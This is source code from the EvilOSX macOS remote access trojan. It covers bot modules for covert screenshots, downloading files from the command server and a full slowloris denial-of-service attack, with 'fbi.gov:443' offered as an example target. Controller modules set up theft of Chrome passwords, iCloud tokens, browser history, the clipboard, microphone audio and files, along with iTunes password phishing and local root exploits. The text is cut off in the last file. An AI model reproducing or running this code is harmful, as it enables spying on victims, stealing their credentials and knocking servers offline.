/server/modules/bot/screenshot.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | import subprocess 6 | 7 | OUTPUT_FILE = "/var/tmp/image-cache.png" 8 | 9 | 10 | def run_command(command): 11 | out, err = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() 12 | return out + err 13 | 14 | 15 | def run(options): 16 | run_command("screencapture -x " + OUTPUT_FILE) 17 | print(run_command("base64 " + OUTPUT_FILE)) 18 | run_command("rm -rf " + OUTPUT_FILE) 19 | -------------------------------------------------------------------------------- /server/modules/bot/slowloris.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import random 3 | from datetime import datetime 4 | import ssl 5 | import threading 6 | import time 7 | import re 8 | 9 | 10 | class TargetInfo: 11 | """This class stores information about the target.""" 12 | 13 | def __init__(self, host, port, ssl, connection_count=200): 14 | self.host = host 15 | self.port = port 16 | self.ssl = ssl 17 | self.connection_count = connection_count 18 | self.connections = [] 19 | 20 | # Statistics related 21 | self.latest_latency_list = [] 22 | self.rejected_initial_connections = 0 23 | self.rejected_connections = 0 24 | self.dropped_connections = 0 25 | self.reconnections = 0 26 | 27 | def get_latency(self): 28 | """Gets the latency in milliseconds.""" 29 | latency = 0 30 | element_count = len(self.latest_latency_list) 31 | 32 | if element_count == 0: 33 | return None 34 | for value in self.latest_latency_list: 35 | latency += value 36 | 37 | return latency / element_count 38 | 39 | 40 | class UserAgent: 41 | """Static class which provides randomized user agents.""" 42 | 43 | USER_AGENTS = [ 44 | # Chrome 45 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36", 46 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36", 47 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", 48 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", 49 | "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36", 50 | "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36", 51 | "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36", 52 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36", 53 | "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36", 54 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36", 55 | "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36", 56 | "Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36", 57 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36", 58 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36", 59 | "Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36", 60 | # Firefox 61 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1", 62 | "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0", 63 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0", 64 | "Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0", 65 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0", 66 | "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0", 67 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0", 68 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0", 69 | "Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0", 70 | "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0", 71 | "Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3", 72 | "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:27.0) Gecko/20121011 Firefox/27.0", 73 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0", 74 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0", 75 | "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0", 76 | ] 77 | 78 | @staticmethod 79 | def get_random(): 80 | """:return A random user agent string.""" 81 | return random.choice(UserAgent.USER_AGENTS) 82 | 83 | 84 | class Connection: 85 | """Slowloris connection.""" 86 | 87 | def __init__(self, target, first_connection=False): 88 | """ 89 | :type target: TargetInfo 90 | :type first_connection: bool 91 | """ 92 | self.target = target 93 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 94 | self.socket.settimeout(5) 95 | try: 96 | start_time = datetime.now() 97 | self.socket.connect((target.host, target.port)) 98 | self.socket.settimeout(None) 99 | if target.ssl: 100 | self.socket = ssl.wrap_socket(self.socket) 101 | 102 | if not first_connection: 103 | latency = (datetime.now() - start_time).total_seconds() * 1000.0 104 | 105 | if len(target.latest_latency_list) < 10: 106 | target.latest_latency_list.append(latency) 107 | else: 108 | target.latest_latency_list.pop(0) 109 | target.latest_latency_list.insert(0, latency) 110 | self.connected = True 111 | except socket.timeout: 112 | self.connected = False 113 | # Keep track of rejected connections 114 | if first_connection: 115 | target.rejected_initial_connections += 1 116 | else: 117 | target.rejected_connections += 1 118 | # Report first initial rejection to the user 119 | if first_connection and target.rejected_initial_connections == 1: 120 | #send_response("[%s] New connections are getting rejected." % target.host) 121 | pass 122 | # Report rejected reconnection to the user 123 | if not first_connection: 124 | #send_response("TANGO DOWN! Target unreachable.") 125 | pass 126 | 127 | def is_connected(self): 128 | """:return True if the connection has been established.""" 129 | return self.connected 130 | 131 | def close(self): 132 | """Closes the connection.""" 133 | try: 134 | self.socket.shutdown(1) 135 | self.socket.close() 136 | except Exception: 137 | pass 138 | 139 | def send_headers(self, user_agent): 140 | """Sends headers.""" 141 | template = "GET /?%s HTTP/1.1\\r\\n%s\\r\\nAccept-language: en-US,en,q=0.5\\r\\n" 142 | try: 143 | self.socket.send((template % (random.randrange(0, 2000), user_agent)).encode("ascii")) 144 | except socket.timeout: 145 | pass 146 | return self 147 | 148 | def keep_alive(self): 149 | """Sends garbage to keep the connection alive.""" 150 | try: 151 | self.socket.send(("X-a: %s\\r\\n" % (random.randint(0, 5000))).encode("ascii")) 152 | except socket.timeout: 153 | pass 154 | 155 | 156 | class Controller: 157 | """Controls all slowloris connections.""" 158 | 159 | def __init__(self): 160 | self.target = None 161 | self.stopped = False 162 | 163 | self.keepalive_thread = threading.Thread(target=self.keep_alive) 164 | self.keepalive_thread.daemon = True 165 | self.keepalive_thread.start() 166 | 167 | def attack(self, target): 168 | """Starts the attack against the target. 169 | 170 | :type target: TargetInfo 171 | """ 172 | #send_response("[%s] Initializing %s connections..." % (target.host, target.connection_count)) 173 | self.target = target 174 | 175 | # Start x connections and send the initial HTTP headers. 176 | for i in range(target.connection_count): 177 | if self.stopped: 178 | break 179 | 180 | conn = Connection(target, True).send_headers(UserAgent.get_random()) 181 | self.target.connections.insert(0, conn) 182 | 183 | if i == (self.target.connection_count - 1): 184 | #send_response("All connections initialized.") 185 | pass 186 | 187 | def stop(self): 188 | """Stops the attack.""" 189 | #send_response("Shutting down all connections.") 190 | self.stopped = True 191 | 192 | for conn in self.target.connections: 193 | conn.close() 194 | 195 | def keep_alive(self): 196 | """Background thread which keeps all connections alive.""" 197 | while True: 198 | if self.stopped: 199 | #send_response("Stopped slowloris attack.") 200 | break 201 | 202 | time.sleep(5) 203 | self.keep_target_alive(self.target) 204 | 205 | def keep_target_alive(self, target): 206 | """Keeps all connections alive.""" 207 | # Print latest latency. 208 | latency = target.get_latency() 209 | 210 | if latency: 211 | # ! send_response("[%s] Current latency: %s ms" % (target.host, latency)) 212 | pass 213 | 214 | connection_count = len(target.connections) 215 | 216 | # Every 10 seconds, send HTTP garbage to prevent the connection from timing out. 217 | for i in range(0, connection_count): 218 | try: 219 | if self.stopped: 220 | break 221 | 222 | target.connections[i].keep_alive() 223 | 224 | # If the server closed one of our connections, 225 | # re-open the connection in its place. 226 | except Exception: 227 | if target.dropped_connections == 0: 228 | # Notify the server that the host started dropping connections. 229 | #send_response("[%s] Server started dropping connections." % target.host, "slowloris") 230 | pass 231 | 232 | target.dropped_connections += 1 233 | 234 | # Notify the user about the amount of reconnections. 235 | threshold = 10 236 | 237 | if target.reconnections >= threshold: 238 | # send_response( 239 | # "[%s] Reconnected %s dropped connections." % (target.host, target.reconnections), 240 | # "slowloris" 241 | #) 242 | target.reconnections = 0 243 | 244 | # Reconnect the socket. 245 | conn = Connection(target).send_headers(UserAgent.get_random()) 246 | 247 | if conn.is_connected: 248 | target.connections[i] = conn 249 | target.reconnections += 1 250 | 251 | 252 | def get_webserver(target): 253 | """ 254 | :return The name of the running web server. 255 | :param target: TargetInfo 256 | """ 257 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 258 | sock.settimeout(3) 259 | 260 | try: 261 | sock.connect((target.host, target.port)) 262 | sock.send("GET / HTTP/1.1\\r\\n\\r\\n".encode("ascii")) 263 | 264 | response = sock.recv(1024).decode("utf-8") 265 | 266 | sock.shutdown(1) 267 | sock.close() 268 | 269 | for line in response.split("\\r\\n"): 270 | if line.startswith("Server:"): 271 | return line.split("Server:")[1].strip() 272 | except Exception: 273 | return None 274 | return None 275 | 276 | 277 | def parse_target(target): 278 | """Parses a target into a TargetInfo object.""" 279 | pat = re.compile(r"(?P(?:\w|\.)+)(\:(?P\d+))?") 280 | mat = pat.match(target) 281 | host, port = (mat.group("host"), mat.group("port")) 282 | port = 80 if port is None else int(port) 283 | ssl = port == 443 284 | return TargetInfo(host, port, ssl) 285 | 286 | 287 | def run(options): 288 | # Pack it up, pack it in, let me begin... 289 | target = options["target"] 290 | 291 | controller = Controller() 292 | #send_response("Starting slowloris attack against: " + target) 293 | 294 | try: 295 | # Spawn the attacking thread 296 | attack_thread = threading.Thread(target=controller.attack, args=(parse_target(target),)) 297 | attack_thread.daemon = True 298 | attack_thread.start() 299 | 300 | while True: 301 | # So we can catch when the user kills this task. 302 | time.sleep(1) 303 | except SystemExit: 304 | # Kill task called, stop attacking. 305 | controller.stop() 306 | -------------------------------------------------------------------------------- /server/modules/bot/upload.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from os import path 6 | import urllib2 7 | 8 | 9 | def run(options): 10 | download_url = "http://%s:%s/%s" % (options["server_host"], options["server_port"], options["download_path"]) 11 | output_path = path.join(options["output_dir"], options["output_name"]) 12 | 13 | with open(output_path, "wb") as output_file: 14 | output_file.write(urllib2.urlopen(download_url).read()) 15 | output_file.close() # Important! 16 | 17 | print("File downloaded finished, saved to: " + output_path) 18 | -------------------------------------------------------------------------------- /server/modules/helper.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | import random 6 | import string 7 | from abc import ABCMeta, abstractmethod 8 | from os import path 9 | 10 | from server.model import Model 11 | 12 | DATA_DIRECTORY = path.realpath(path.join(path.dirname(__file__), path.pardir, path.pardir, "data")) 13 | OUTPUT_DIRECTORY = path.join(DATA_DIRECTORY, "output") 14 | 15 | 16 | def random_string(size=random.randint(6, 15), numbers=False): 17 | """ 18 | :type size: int 19 | :type numbers: bool 20 | :rtype: str 21 | :return A randomly generated string of x characters. 22 | """ 23 | result = "" 24 | 25 | for i in range(0, size): 26 | if not numbers: 27 | result += random.choice(string.ascii_letters) 28 | else: 29 | result += random.choice(string.ascii_letters + string.digits) 30 | return result 31 | 32 | 33 | class ModuleViewABC: 34 | """Abstract base class which allows modules to interact with the view.""" 35 | __metaclass__ = ABCMeta 36 | 37 | @abstractmethod 38 | def display_error(self, text): 39 | """Displays an error message to the user. 40 | 41 | :type text: str 42 | """ 43 | pass 44 | 45 | @abstractmethod 46 | def display_info(self, text): 47 | """Displays an information message to the user. 48 | 49 | :type text: str 50 | """ 51 | pass 52 | 53 | @abstractmethod 54 | def should_continue(self, messages): 55 | """Shows the list of messages and asks the user if they want to continue. 56 | 57 | :type messages: list[str] 58 | :rtype: bool 59 | """ 60 | pass 61 | 62 | @abstractmethod 63 | def output(self, line, prefix=""): 64 | """Outputs a message to the response view. 65 | 66 | :type line: str 67 | :type prefix: str 68 | """ 69 | pass 70 | 71 | def output_separator(self): 72 | self.output("-" * 5) 73 | 74 | 75 | class ModuleABC: 76 | """Abstract base class for modules.""" 77 | __metaclass__ = ABCMeta 78 | 79 | def __init__(self, view, model): 80 | """ 81 | :type view: ModuleViewABC 82 | :type model: Model 83 | """ 84 | self._view = view 85 | self._model = model 86 | 87 | @abstractmethod 88 | def get_info(self): 89 | """ 90 | :rtype: dict 91 | :return: A dictionary containing basic information about this module. 92 | """ 93 | pass 94 | 95 | def get_setup_messages(self): 96 | """ 97 | :rtype: list[str] 98 | :return A list of input messages. 99 | """ 100 | return [] 101 | 102 | def setup(self, set_options): 103 | """:return: A tuple containing a "was the setup successful" boolean and configuration options. 104 | 105 | :type set_options: list 106 | :rtype: tuple[bool, dict or None] 107 | """ 108 | return True, None 109 | 110 | def process_response(self, response, response_options): 111 | """Processes the module's response. 112 | 113 | :type response: bytes 114 | :type response_options: dict 115 | """ 116 | self._view.output_separator() 117 | self._view.output(response.decode()) 118 | -------------------------------------------------------------------------------- /server/modules/server/CVE-2015-5889.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import * 6 | 7 | 8 | class Module(ModuleABC): 9 | def get_info(self): 10 | return { 11 | "Author:": ["Marten4n6"], 12 | "Description": "Attempt to get root via CVE-2015-5889 (10.9.5 to 10.10.5).", 13 | "References": [ 14 | "https://www.exploit-db.com/exploits/38371/", 15 | "https://www.rapid7.com/db/modules/exploit/osx/local/rsh_libmalloc" 16 | ], 17 | "Stoppable": False 18 | } 19 | -------------------------------------------------------------------------------- /server/modules/server/CVE-2020-3950.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "HackerFantastic" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import * 6 | 7 | 8 | class Module(ModuleABC): 9 | def get_info(self): 10 | return { 11 | "Author:": ["HackerFantastic"], 12 | "Description": "CVE-2020-3950 macOS VMware fusion <= 11.5.2 local root exploit", 13 | "References": [ 14 | "https://www.vmware.com/security/advisories/VMSA-2020-0005.html", 15 | "https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2020-3950.sh", 16 | "https://blog.grimm-co.com/post/analyzing-suid-binaries/" 17 | ], 18 | "Stoppable": False 19 | } 20 | -------------------------------------------------------------------------------- /server/modules/server/browser_history.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import * 6 | 7 | 8 | class Module(ModuleABC): 9 | def get_info(self): 10 | return { 11 | "Author:": ["Marten4n6"], 12 | "Description": "Retrieve browser history (Chrome and Safari).", 13 | "References": [], 14 | "Stoppable": False 15 | } 16 | 17 | def get_setup_messages(self): 18 | return [ 19 | "History limit (Leave empty for 10): ", 20 | "Would you like to output to a file? [y/N]: " 21 | ] 22 | 23 | def setup(self, set_options): 24 | history_limit = set_options[0] 25 | output_file = set_options[1].lower() 26 | 27 | if not history_limit: 28 | history_limit = 10 29 | if not output_file or output_file == "n": 30 | output_file = "" 31 | elif output_file: 32 | output_file = "/tmp/{}.txt".format(random_string(8)) 33 | 34 | if not str(history_limit).isdigit(): 35 | self._view.display_error("Invalid history limit.", "attention") 36 | return False, None 37 | else: 38 | return True, { 39 | "history_limit": history_limit, 40 | "output_file": output_file 41 | } 42 | -------------------------------------------------------------------------------- /server/modules/server/chrome_passwords.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import * 6 | 7 | 8 | class Module(ModuleABC): 9 | def get_info(self): 10 | return { 11 | "Author:": ["Marten4n6"], 12 | "Description": "Retrieve Chrome passwords.", 13 | "References": [ 14 | "https://github.com/manwhoami/OSXChromeDecrypt" 15 | ], 16 | "Stoppable": False 17 | } 18 | 19 | def setup(self, set_options): 20 | confirm = self._view.should_continue([ 21 | "This will prompt the bot to allow keychain access." 22 | ]) 23 | 24 | if not confirm or confirm == "y": 25 | return True, None 26 | else: 27 | return False, None 28 | -------------------------------------------------------------------------------- /server/modules/server/clipboard.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import * 6 | import os 7 | 8 | 9 | class Module(ModuleABC): 10 | def get_info(self): 11 | return { 12 | "Author:": ["Marten4n6"], 13 | "Description": "Retrieve or monitor the bot's clipboard.", 14 | "References": [], 15 | "Stoppable": False 16 | } 17 | 18 | def get_setup_messages(self): 19 | return [ 20 | "Time in seconds to monitor the clipboard (Leave empty for 0): ", 21 | "Remote output directory (Leave empty to not output to a file): " 22 | ] 23 | 24 | def setup(self, set_options): 25 | monitor_time = set_options[0] 26 | 27 | if not monitor_time: 28 | monitor_time = 0 29 | 30 | if not str(monitor_time).isdigit(): 31 | self._view.display_error("Invalid monitor time (should be in seconds).") 32 | return False, None 33 | else: 34 | output_file = set_options[1] 35 | 36 | return True, { 37 | "monitor_time": monitor_time, 38 | "output_file": output_file 39 | } 40 | -------------------------------------------------------------------------------- /server/modules/server/decrypt_mme.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import * 6 | 7 | 8 | class Module(ModuleABC): 9 | def get_info(self): 10 | return { 11 | "Author:": ["Marten4n6"], 12 | "Description": "Retrieve iCloud and MMe authorization tokens.", 13 | "References": [ 14 | "https://github.com/manwhoami/MMeTokenDecrypt" 15 | ], 16 | "Stoppable": False 17 | } 18 | 19 | def setup(self, set_options): 20 | should_continue = self._view.should_continue([ 21 | "This will prompt the bot to allow keychain access." 22 | ]) 23 | 24 | if should_continue: 25 | return True, None 26 | else: 27 | return False, None 28 | -------------------------------------------------------------------------------- /server/modules/server/download.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import * 6 | from os import path 7 | from Cryptodome.Hash import MD5 8 | 9 | 10 | class Module(ModuleABC): 11 | def get_info(self): 12 | return { 13 | "Author:": ["Marten4n6"], 14 | "Description": "Download a file or directory from the bot.", 15 | "References": [], 16 | "Stoppable": False 17 | } 18 | 19 | def get_setup_messages(self): 20 | return [ 21 | "Path to file or directory on the bot's machine: ", 22 | "Buffer size (Leave empty for 4096 bytes): ", 23 | "Local output name (Leave empty for ): " 24 | ] 25 | 26 | def setup(self, set_options): 27 | download_file = set_options[0] 28 | buffer_size = set_options[1] 29 | output_name = set_options[2] 30 | 31 | if not buffer_size: 32 | buffer_size = 4096 33 | elif not str(buffer_size).isdigit(): 34 | self._view.display_error("Invalid buffer size.") 35 | return False, None 36 | 37 | if not output_name: 38 | output_name = random_string(8) + path.splitext(download_file)[1] 39 | 40 | if path.exists(path.join(OUTPUT_DIRECTORY, path.basename(download_file))): 41 | self._view.display_error("A local file with that name already exists!") 42 | return False, None 43 | else: 44 | return True, { 45 | "buffer_size": buffer_size, 46 | "file_path": download_file, 47 | "response_options": { 48 | "output_name": output_name 49 | } 50 | } 51 | 52 | def process_response(self, response, response_options): 53 | # Files are sent back to us in small pieces (encoded with base64), 54 | # we simply decode these pieces and write them to the output file. 55 | output_name = response_options["output_name"] 56 | output_file = path.join(OUTPUT_DIRECTORY, output_name) 57 | 58 | try: 59 | str_response = response.decode() 60 | except UnicodeDecodeError: 61 | str_response = "" 62 | 63 | if "Failed to download" in str_response: 64 | self._view.output_separator() 65 | self._view.output(str_response, "attention") 66 | elif "Compressing directory" in str_response: 67 | self._view.output_separator() 68 | self._view.output(str_response, "info") 69 | elif "Stopped" in str_response: 70 | self._view.output_separator() 71 | self._view.output(str_response, "info") 72 | elif "Started" in str_response: 73 | md5_hash = str_response.split("|")[1] 74 | 75 | self._view.output_separator() 76 | self._view.output("Started downloading: \"{}\"...".format(output_name)) 77 | self._view.output("Remote MD5 file hash: {}".format(md5_hash)) 78 | elif "Finished" in str_response: 79 | self._view.output_separator() 80 | self._view.output("Local MD5 file hash (MUST MATCH!): {}".format(self._get_file_hash(output_file))) 81 | self._view.output("Finished file download, saved to: {}".format(output_file)) 82 | else: 83 | with open(output_file, "ab") as output_file: 84 | output_file.write(response) 85 | 86 | @staticmethod 87 | def _get_file_hash(file_path): 88 | result = MD5.new() 89 | 90 | with open(file_path, "rb") as input_file: 91 | while True: 92 | data = input_file.read(4096) 93 | 94 | if not data: 95 | break 96 | result.update(data) 97 | return result.hexdigest() 98 | -------------------------------------------------------------------------------- /server/modules/server/get_backups.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import ModuleABC 6 | 7 | 8 | class Module(ModuleABC): 9 | def get_info(self): 10 | return { 11 | "Author:": ["Marten4n6"], 12 | "Description": "Show a list of devices backed up by iTunes.", 13 | "References": [], 14 | "Stoppable": False 15 | } 16 | -------------------------------------------------------------------------------- /server/modules/server/get_info.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import ModuleABC 6 | 7 | 8 | class Module(ModuleABC): 9 | def get_info(self): 10 | return { 11 | "Author:": ["Marten4n6"], 12 | "Description": "Return basic information about the bot.", 13 | "References": [], 14 | "Stoppable": False 15 | } 16 | -------------------------------------------------------------------------------- /server/modules/server/icloud_contacts.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import ModuleABC 6 | 7 | 8 | class Module(ModuleABC): 9 | def get_info(self): 10 | return { 11 | "Author:": ["Marten4n6"], 12 | "Description": "Retrieve iCloud contacts.", 13 | "References": [ 14 | "https://github.com/manwhoami/iCloudContacts" 15 | ], 16 | "Stoppable": False 17 | } 18 | -------------------------------------------------------------------------------- /server/modules/server/microphone.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import * 6 | 7 | 8 | class Module(ModuleABC): 9 | def get_info(self): 10 | return { 11 | "Author:": ["Marten4n6"], 12 | "Description": "Record the microphone.", 13 | "References": [ 14 | "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/collection/osx/osx_mic_record.py", 15 | "https://developer.apple.com/documentation/avfoundation/avaudiorecorder" 16 | ], 17 | "Stoppable": False 18 | } 19 | 20 | def get_setup_messages(self): 21 | return [ 22 | "Time in seconds to record (Leave empty for 5): ", 23 | "Remote output directory (Leave empty for /tmp): ", 24 | "Remote output name (Leave empty for ): " 25 | ] 26 | 27 | def setup(self, set_options): 28 | record_time = set_options[0] 29 | output_dir = set_options[1] 30 | output_name = set_options[2] 31 | 32 | if not record_time: 33 | record_time = 5 34 | if not output_dir: 35 | output_dir = "/tmp" 36 | if not output_name: 37 | output_name = random_string(8) 38 | 39 | return True, { 40 | "record_time": record_time, 41 | "output_dir": output_dir, 42 | "output_name": output_name 43 | } 44 | -------------------------------------------------------------------------------- /server/modules/server/phish_itunes.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import * 6 | 7 | 8 | class Module(ModuleABC): 9 | def get_info(self): 10 | return { 11 | "Author:": ["Marten4n6"], 12 | "Description": "Phish the bot for their iCloud password via iTunes.", 13 | "References": [], 14 | "Stoppable": False 15 | } 16 | 17 | def get_setup_messages(self): 18 | return [ 19 | "iTunes email address to phish: " 20 | ] 21 | 22 | def setup(self, set_options): 23 | email = set_options[0] 24 | 25 | if not email or "@" not in email: 26 | self._view.display_error("Invalid email address.") 27 | return False, None 28 | else: 29 | return True, { 30 | "email": email 31 | } 32 | -------------------------------------------------------------------------------- /server/modules/server/remove_bot.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import * 6 | 7 | 8 | class Module(ModuleABC): 9 | def get_info(self): 10 | return { 11 | "Author:": ["Marten4n6"], 12 | "Description": "Remove EvilOSX from the bot.", 13 | "References": [], 14 | "Stoppable": False 15 | } 16 | 17 | def get_setup_messages(self): 18 | return [ 19 | "Notify when the bot is removed? [y/N]: " 20 | ] 21 | 22 | def setup(self, set_options): 23 | should_continue = self._view.should_continue([ 24 | "You are about to remove EvilOSX from the bot(s)." 25 | ]) 26 | 27 | if not should_continue: 28 | return False, None 29 | else: 30 | should_notify = set_options[0].lower() 31 | if should_notify == "y": 32 | should_notify = True 33 | else: 34 | should_notify = False 35 | 36 | return True, { 37 | "response_options": { 38 | "should_notify": should_notify 39 | } 40 | } 41 | 42 | def process_response(self, response, response_options): 43 | if response_options["should_notify"]: 44 | self._view.output_separator() 45 | self._view.output(response.decode(), "info") 46 | 47 | -------------------------------------------------------------------------------- /server/modules/server/screenshot.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import * 6 | from base64 import b64decode 7 | from os import mkdir 8 | 9 | 10 | class Module(ModuleABC): 11 | def get_info(self): 12 | return { 13 | "Author:": ["Marten4n6"], 14 | "Description": "Take a screenshot of the bot's screen.", 15 | "References": [], 16 | "Stoppable": False 17 | } 18 | 19 | def get_setup_messages(self): 20 | return [ 21 | "Local output name (Leave empty for ): " 22 | ] 23 | 24 | def setup(self, set_options): 25 | output_name = set_options[0] 26 | 27 | if not output_name: 28 | output_name = random_string(8) 29 | 30 | return True, { 31 | "response_options": { 32 | "output_name": output_name 33 | } 34 | } 35 | 36 | def process_response(self, response, response_options): 37 | output_name = "{}.png".format(response_options["output_name"]) 38 | output_file = path.join(OUTPUT_DIRECTORY, output_name) 39 | 40 | if not path.isdir(OUTPUT_DIRECTORY): 41 | mkdir(OUTPUT_DIRECTORY) 42 | 43 | with open(output_file, "wb") as open_file: 44 | open_file.write(b64decode(response)) 45 | 46 | self._view.output_separator() 47 | self._view.output("Screenshot saved to: {}".format(path.realpath(output_file)), "info") 48 | -------------------------------------------------------------------------------- /server/modules/server/slowloris.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import * 6 | 7 | 8 | class Module(ModuleABC): 9 | def get_info(self): 10 | return { 11 | "Author": ["Marten4n6"], 12 | "Description": "Perform a slowloris DoS attack.", 13 | "References": [ 14 | "https://en.wikipedia.org/wiki/Slowloris_(computer_security)", 15 | "https://github.com/ProjectMayhem/PySlowLoris" 16 | ], 17 | "Stoppable": False 18 | } 19 | 20 | def get_setup_messages(self): 21 | return [ 22 | "Target to attack (example: fbi.gov:443): " 23 | ] 24 | 25 | def setup(self, set_options): 26 | # This attack only works on Apache 1x, 2x, dhttpd, and some other minor servers. 27 | # Servers like nginx are not vulnerable to this form of attack. 28 | # If no port is specified 80 will be used. 29 | target = set_options[0] 30 | 31 | if not target: 32 | self._view.display_error("Invalid target.") 33 | return False, None 34 | else: 35 | return True, { 36 | "target": target 37 | } 38 | -------------------------------------------------------------------------------- /server/modules/server/update_bot.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from server.modules.helper import * 6 | 7 | 8 | class Module(ModuleABC): 9 | def get_info(self): 10 | return { 11 | "Author:": ["Marten4n6"], 12 | "Description": "Update the bot to the latest (local) version.", 13 | "References": [], 14 | 